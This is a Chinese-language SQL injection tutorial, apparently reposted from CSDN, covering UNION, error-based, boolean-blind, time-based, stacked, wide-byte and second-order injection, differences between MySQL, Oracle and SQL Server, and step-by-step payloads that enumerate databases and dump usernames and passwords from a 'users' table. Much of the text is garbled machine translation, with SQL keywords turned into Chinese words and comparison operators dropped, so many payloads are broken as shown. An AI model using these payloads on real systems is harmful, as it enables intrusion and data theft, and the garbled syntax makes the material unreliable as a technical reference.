了解各个注入的原理
**SQL注入原理:** 当脚本代码实现代码与数据库之间的数据通信(从数据库中检索相关数据用于显示页面)时,必须使用定义的SQL语句来查询数据,执行时该SQL。声明如下:定义值来控制SQL语句执行恶意SQL语句并查询其他数据(例如管理员帐户的密码或数据库中的敏感数据)。这个过程称为SQL注入漏洞。
**UNION 注入:** 利用MySQL UNION 运算符的原理将两个或多个SELECT 语句的结果合并到结果集中并删除重复行。 UNION 运算符由两个或多个SELECT 语句组成,每个SELECT 语句的相应位置必须具有相同的列数和数据类型。您可以通过将UNION 运算符添加到浏览器的URL 来选择和查询以检索库名称、表名称和列名称。
**错误注入:** MySQL通过extractvalue()和updatexml()函数验证XPATH。如果格式不是XPATH,就会报错并显示。
updatexml() 函数
用法:UPDATEXML (XML_document, XPath_string, new_value);
用途:这是MySQL用来修改XML实体内容的函数。第一个参数是要修改的XML 实体,第二个是要修改的XML 路径,第三个是要修改的值。
第一个参数:XML内容
第二个参数:是需要更新的XPATH路径。
第三个参数:更新的内容
所以第一个和第三个参数可以随便写。只需使用第二个参数,它会检查您输入的内容是否符合XPATH 格式。
tractvalue() 函数
用法:extractvalue(XML_document, XPath_string);
用法:截取并显示XML实体,与mysql的show类似。
函数的第二个参数是xml文件中的查询使用的是/xx/xx/格式,所以如果你写成其他格式的话,就会报错,你写的格式会失效。该格式错误的内容就是您所查询的内容。
正常格式下,查询失败不会报错。
布尔盲注入:通过条件为永久真且1=1和条件为永久假且1=2的页面对来判断内容是否存在差异,判断是否存在布尔注入,如果条件为则判断是否存在已实现。我们通过真与假来判断对与错。
**时间注入:** 通过判断页面返回内容的响应时间差异来确定条件。
**堆栈注入(md5):** 在SQL中,分号(;)用于标记SQL语句的结束。如果用; 结束一条SQL 语句,然后继续写下一条语句,它会随之执行吗?于是,这个想法也就产生了栈注入。联合注入还合并两个语句。两者有区别吗?区别在于union或union all执行的语句数量有限,可以用来执行查询语句,而栈注入可以执行任意语句。
**宽字节注入:**如果字符大小为1字节则称为窄字节,如果字符大小为2字节则称为宽字节(GB2312、GBK、GB18030、BIG5、Shift_JIS等) 。和其他编码通常称为宽字节。即默认2个字节,英文占1个字节,中文占2个字节。
目标网站使用转义函数改变1.[\’]-[\’] 2.[\”]-[\”]。一旦完成此操作,目标网站将很难使用单引号或双引号关闭。下一步是使用SQL注入,但这就是出现问题的地方,因为后端代码使用的编码与数据库表的编码不匹配。
**二次注入:**二次注入是指攻击者构造的payload首先存储在数据库中,然后检索数据库,组合SQL语句并执行SQL。注射。
主要SQL注入: 1.主要SQL注入发生在HTTP请求和响应中,导致系统立即受到攻击。 2. 攻击者在http 请求中发送格式错误的输入。 3.应用程序执行非法操作。输入,使用无效输入构造SQL 语句。 4; 攻击过程中向攻击者返回结果。
二次SQL注入: 1. 攻击者在http请求中发送恶意输入。 2. 攻击者发送第二个http请求。它获取存储在程序数据库中的恶意输入并构造SQL 语句。 5;如果攻击成功,则在第二次请求响应中返回结果。 两种风险是相同的。
然而,二次注射很难直接使用扫描工具进行扫描。虽然您可以执行黑盒测试,但发现漏洞的最佳方法是通过白盒审核。
各个注入得区别
注入流程
**UNION注入:** 按顺序确定类型、字段数、回显点、数据库名、表名、字段名、数据。
**错误注入:**判断是否存在注入点,构造错误的语法产生错误,并使用相应的错误函数检索信息。
**布尔注入:** 获取正确和错误的值,判断闭包类型,获取当前数据库的长度,获取当前数据库的ASCII码,获取当前数据表的条数,获取当前数据表长度数据表、获取当前数据表的ASCII 码、获取当前数据表中字段名称的个数、获取当前数据表中字段名称的长度、当前数据表获取当前数据库中字段名称的ASCII 码、获取数量当前数据表中字段值的个数,获取当前数据表中字段值的长度,获取当前数据库中字段值的ASCII码
**时间注入:** 与布尔注入几乎相同。确定插入点、确定长度并枚举字符。
**堆栈注入:** mysqli_multi_query函数用于允许执行多个SQL语句。与UNION 不同,UNION 是有限制的,只允许查询选择。
堆栈注入以分号停止输出前一条语句,并允许您自由输出增删改查语句。
注入场景
**UNION注入: **Union注入的基本原理是使用Union运算符合并多个查询的结果。典型的SQL 查询使用Union 运算符将多个查询结果组合成一个结果集。攻击者可以使用联合注入将一个查询的结果与另一个查询的结果合并,从而绕过应用程序的安全机制。联合注入通常通过将联合语句插入输入字段来使用。例如,假设您有一个登录表单,其中包含用于验证用户身份的用户名和密码字段。攻击者可以在用户名或密码字段中插入Union 语句,以将另一个查询的结果与原始查询的结果组合起来。这使得攻击者能够绕过身份验证并获取敏感数据。页面有回显位置
**错误注入:** 使用MYSQL 中的指定函数生成错误。如果出现语法错误,后台不会阻塞数据库错误信息,而是从前端检索配置信息。错误信息。选择/插入/更新/删除可以使用错误报告来检索信息。该页面显示数据库错误信息
**布尔注入:** 布尔注入与错误注入不同。错误注入可以通过echo检索到想要的数据,但是布尔注入有局限性,所以你需要知道发送的正确值或者内容的值。这可能会导致交互框产生不同的结果。由于它不回显,只能通过观察值的变化来确定是否关闭。成功或失败页面响应是不同的。
**时间注入:** 比布尔注入更极端。时间注入页面不会回显数据或错误信息,也不会在语句执行后显示true 或false。您无法根据页面内容做出决定。现在您需要构建一个语句来根据页面的响应时间确定信息。这是时间盲注。
使用时间盲注入并不是一个高优先级。当联合注入、错误注入和布尔盲注入不可用时,通常考虑使用它。
1.页面无回显位置(无法联合注入)
2、页面不显示数据库错误信息(无法进行错误注入)
3、页面只响应一个结果,无论成功还是失败(不允许布尔盲注)
不同数据库之间sql注入得区别有那些
MySQL
查询功能:
Database() 数据库名称
version() 数据库版本
user() 数据库用户
@@version_compile_os操作系统
注意:在5.0之前的Mysql版本中插入是一个胡乱猜测的解决方案,而在5.0以上版本的Mysql中插入是一个有根据的猜测解决方案。
MYSQL5包含了上述版本自带的数据库名information_schema,存储了MYSQL所有的数据库名、表名、列名信息。
不包含在MYSQL5 之前的版本中。也就是说,您可以使用Query information_schema检索指定数据库名称下的表名或列名信息,并插入并执行基础查询。
information_schema.schemata表下的shcema_name列是存储数据库名称信息的表。
information_schema.tables表下的table_name列存储表名信息。
information_schema.columns表下的column_name列是存储列名信息的表。
table_schema 数据库名称
table_name 表名
column_name 列名称
oracle
Oracle数据丢失知识点
双虚表用于构成select的语法规则,可供所有用户访问,查询当前用户并调用系统函数。
all_tables 查询所有表
user_tables 查询当前用户的表
all_tab_columns 查询所有字段
user_tab_columns 查询当前用户的字段。
v$version 检查版本
1、Oracle和MySQL数据库的语法几乎相同,但结构不一样。 Oracle最大的特点之一就是可以调用Java代码。
2. Oracle通常与jsp一起使用。默认端口号为1521。
3. Oracle 采用“表空间”的定义。数据文件由多个表空间组成,这些数据文件和相关文件构成一个完整的数据库。创建数据库时,Oracle 默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS 和TEMP。
**Oracle中划分用户和权限: **Oracle分为很多用户权限,权限集称为角色。例如,CONNECT 角色具有连接数据库的权限,RESOURCE 角色可以执行基本的添加、删除、更改和查询,而DBA 角色则结合了所有用户权限。创建数据库时,默认启用sys、system等用户。
注释符号
单行注释/**/多行注释
Oracle数据库不支持堆栈注入
SQL server
1、数据库后缀名为.mdf,端口号为1433。
2. SQL Server常用于asp或aspx中。操作系统是win2012 win2018。
3.大部分数据库版本为sql2008 sql2012
4.注释符号——空格是单行注释,//是多行注释
SQL Server有3个权限级别
sa权限:数据库操作、文件管理、命令执行、注册表读取等系统权限。 SQL Server数据库最高权限:db权限:文件管理、数据库操作等用户-管理员公共权限:数据库操作Guest-用户
如何查看当前用户权限
判断是否有SA权限
选择is_srvrolemember(\’sysadmin\’)
检查您是否有db_owner 权限
选择is_member(\’db_owner\’)
判断是否官方允许
选择is_srvrolemember(\’public\’)
默认库
SQLServer 数据库有六个默认库:四个系统数据库(master、model、msdb、tempdb)和两个实例数据库(ReportServer、ReportServerTempDB)。其中,系统数据库模型和tempdb默认没有数据表。但是,如果使用navicat远程连接,您只会看到两个实例数据库:ReportServer、ReportServerTempDB。
@@version和version()
mysql 允许您使用@@version 或version() 返回当前版本信息。不过,如果你不确定是mysql还是mssql,可以使用version()函数来确定。如果version()1 返回与@@version1 相同的页面,那么它可能是mysql。如果您看到version() 错误,可能是由于mssql
substring和substr
mysql中可以完整调用,mssql中可以调用子串。 Oracle只能调用substr
SQL语句连接符号不一致
mssql 数据库?id=1 且\’1\’ + \’1\’=\’11\’
mysql 数据库?id=1 and ‘1’ + ‘1’=‘11’ ?id=1 and concat(‘1’,‘1’)=‘11’
oracle 数据库?id=1 和\’1\’||\’1\’=\’11\’ ?id=1 和CONCAT(\’1\’,\’1\’)=\’11\’
数据库的关键表
mssql 数据库?id=1 and (select count(*) from sysobjects)0 and 1=1
mysql 数据库?id=1 and (select count(*) from information_schema.TABLES)0 and 1=1
oracle 数据库?id=1 and (select count(*) from sys.user_tables)0 and 1=1
通过手工注入拿到库名,表名等
使用UNION 注入
使用order by 查看当前列名(字段名)的数量。默认升序为?id=1\’ order by 3(如果列名是3,输入4会报错)。这将告诉您有多少个列名。)
查看列名(字段名)个数,查询连接数据库的通道。id=1\’ Union select 1,2,3(此时echo知道2,3可以调用数据库)。
由于我们知道2和3可以调用数据库,因此我们可以对select查询进行UNION并首先获取库名称(database(), version())。
?id=-1 UNION select 1,database(),version()可以获取库名和MySQL版本。这里id=-1使用AND运算。使用or 时,请使用OR 运算。
获取库名后,获取表名
?id=-1 UNION select 1,2,group_concat(table_name) from information_schema.tables where table_schema=\’库名称\’
获取表名后,从表名中获取列名(字段名)。
?id=-1 UNION select 1,2,group_concat(column_name) from information_schema.columns where table_name=\’表名\’
得到列名后,就可以得到想要的数据了
id=-1 UNION select 1,2,group_concat(id,username,password) 从表单中获取目标表名
使用错误注入
检查输出是否响应数据库错误语句。
extractvalue和updatexml的使用都是xpath函数,对于非xpath错误直接报告和显示。
获取库名称
?id=-1 或(select updatexml(0x7e,concat(0x7e,(select database())),0x7e)) ——–安全
获取表名
?id=-1 或(select updatexml(0x7e,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e)) ——-电子邮件、引用者、uagents ,用户
获取列名
?id=-1 或(select updatexml(0x7e,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\’users\’))),0x7e))
获取您想要的数据信息
?id=-1 或(选择updatexml(0x7e,concat(0x7e,(从用户中选择group_concat(用户名))),0x7e))
使用布尔注入
验证布尔注入存在后,我们使用一些常见的布尔函数注入它。
ascii()、ord()、count()、length()、substr()/substring() 返回字符串、left()、mid()
查看当前数据库名称
1. 确定当前数据库的长度,使用length()进行二分法。
?id=-1 或长度(database())7
如果大于当前值,则显示正常,如果大于当前值+1,则显示异常。
2、如上将当前数据库中的字符二分,与ASCLL对照表进行比较,返回字符串。
?id=1 和ascii(substr(database(),1,1))115
?id=1 和ascii(substr(database(),2,1))100
了解如何获得数据库名称安全
查看当前数据库中的表名。
1、确定当前数据库中有多少表。判定方法同上。
?id=1 和(选择count(table_name) from
information_schema.tables 其中table_schema=database())3
2. 使用函数length()确定每个表的长度。
要确定第一个表的长度,请使用二分法确定第一个表的长度。
从?id=1 和length((
information_schema.tables 其中table_schema=database() limit 0,1))6
要确定第二个表的长度,请使用二分法确定第二个表的长度。
从?id=1 和length((
information_schema.tables 其中table_schema=database() 限制1,1))=6
确定每个表中每个字符的ASCLL 值。
确定第一个表中第一个字符的ASCLL 值。
从?id=1 和ascii(substr((
information_schema.tables 其中table_schema=database() 限制0,1),1,1))100
确定第一个表中第二个字符的ASCLL 值。
?id=1 和ascii(substr((从中选择table_name
information_schema.tables 其中table_schema=database() limit 0,1),2,1))100
同样,所有表名也确定了。
确定表的字段
?id=1 和(选择count(column_name) from
information_schema.columns(table_name=\’users\’ 和table_schema=\’security\’)5
确定每个字段的长度
确定第一个字段的长度
从?id=1 和长度((
information_schema.columns 其中table_name=\’users\’ 限制0,1))5
确定第二个字段的长度
从?id=1 和长度((
information_schema.columns 其中table_name=\’users\’ 限制1,1))5
确定每个字段名称的ASCLL 值。
确定第一个字段的第一个字符的ASCLL 值。
从?id=1 和ascii(substr((
information_schema.columns 其中table_name=\’users\’ 限制0,1),1,1))100
确定第一个字段的第二个字符的ASCLL 值。
从?id=1 和ascii(substr((
information_schema.columns 其中table_name=\’users\’ 限制0,1),2,1))100
依次类推确定各个字段名称
确定数据的长度
确定ID 字段中第一个数据的长度。
?id=1 and length((从用户限制0,1中选择ID))5
确定ID 字段中第二个数据的长度。
?id=1 and length((从用户限制1,1中选择ID))5
确定数据的ASCLL 值
确定ID 字段中第一行数据的第一个字符的ASCLL 值。
?id=1 and ascii(substr((从用户限制中选择ID 0,1),1,1))100
确定ID 字段中第二行数据的第二个字符的ASCLL 值。
?id=1 and ascii(substr((从用户限制中选择ID 0,1),2,1))100
时间注射
常用于时间盲注入的函数
if(条件,true,false), sleep(), ascill substr(), Benchmark(count,exp), case.when.then.else.end
if(expr1,expr2,expr3) 如果expr1 的值为true,则返回expr2 的值。如果expr1 的值为false,则返回expr3 的值。
1\’ 和if(ascii(substr(database(),1,1))=115,sleep(5),0) –+
1\’ 和ascii(substr(database(),1,1))115
代码的含义是,如果数据库名第一个字符的acsii值为115,则延迟执行,否则返回0或不返回。
页面显示将延迟5秒。这表示数据库名称的第一个字符的ASCII 值为115(字母s)。
1\’ 和情况1 当1=1 时然后sleep(10) else 1 end #
1\’ 和if(length(database())4,sleep(3),1) #
1\’ 和if(length(database())=8,sleep(5),1)–+
1\’ 和基准(10000,md5(\’asdf\’)) #
1\’ 和(从information_schema.columns 中选择count(*)
A、信息架构.列B、信息架构.列
C) #
#以上关于sql注入的相关内容来源网络仅供参考,相关信息请以官方公告为准!
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91334.html